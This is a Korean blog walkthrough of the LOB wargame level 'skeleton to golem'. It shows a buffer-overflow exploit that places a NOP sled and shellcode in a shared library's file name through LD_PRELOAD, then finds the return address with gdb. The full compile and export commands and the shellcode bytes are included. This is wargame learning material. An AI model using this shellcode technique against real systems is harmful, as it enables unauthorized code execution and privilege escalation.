ANX1-Z3R0의 불안극복(不安克服)

012. skeleton to golem | anxi0 본문

HACKING/[SYSTEM HACKING] LOB

012. skeleton to golem | anxi0

ANX1Z3R0 2019. 4. 3. 14:25

skeleton to golem

시작해보자.

stack destroyer가 있다.

딴건 다 전과 같은데, 스택을 초기화시켜 버린다. 음.... 으음

그럼 쉘코드를 삽입시킬 자리가 없잖아?

...

...

..

 

그럼 다른 데 넣으면 되지!

LD_PRELOAD라는 것을 사용할 것이다.

메모리는 요렇게 생겼대!

스택이 초기화 되기 때문에, 그것보다 낮은 주소의 공유라이브러리에 쉘코드를 넣으면 되지!

바로 ㄱㄱ

vi로 빈 코드를 만든다. <-vi a.c

코딩 후 esc누르고 :wq 엔터!

 

공유 라이브러리 옵션을 준다.

GCC로 파일명을 nop+쉘코드로하여 컴파일 한다.

<- gcc a.c -fPIC -shared -o `python -c 'print "\x90"*100 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

그다음 LD_PRELOAD를 설정해준다!

<- export LD_PRELOAD="`python -c 'print "/home/skeleton/tmp" + "\x90"*100 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`"

그리고 echo $LD_PRELOAD를 하면 잘 박혔는지 확인할 수 있다.

그다음 리턴주소를 한번 찾아줄까?

라이브러리 영역은 스택 전에 있으니깐 뒤쪽으로 한번보자 한... 2000쯤?

<-x/1000x $esp-2000

x/1000x $esp-2000 한 결과

어디였드라....?

RET에 넣을 주소 찾기

오! 그래 여기그만 그래! 여기로 리턴해주자.

SSUEK SSAK.

오늘의 교훈

 

1. 공유 라이브러리 영역

2. 주소에 주의하자.

3. LD_PRELOAD 설정이 꽤나 잘 안 된다.

'HACKING > [SYSTEM HACKING] LOB' 카테고리의 다른 글

.iso 파일 VMware에 적용시키기  (0) 2020.07.11
VMware 15.5 pro keygen 설치 방법  (0) 2020.07.11
011. vampire to skeleton | anxi0  (0) 2019.03.21
010. troll to vampire | anxi0  (0) 2019.02.19
009. orge to troll | anxi0  (0) 2019.02.19
Comments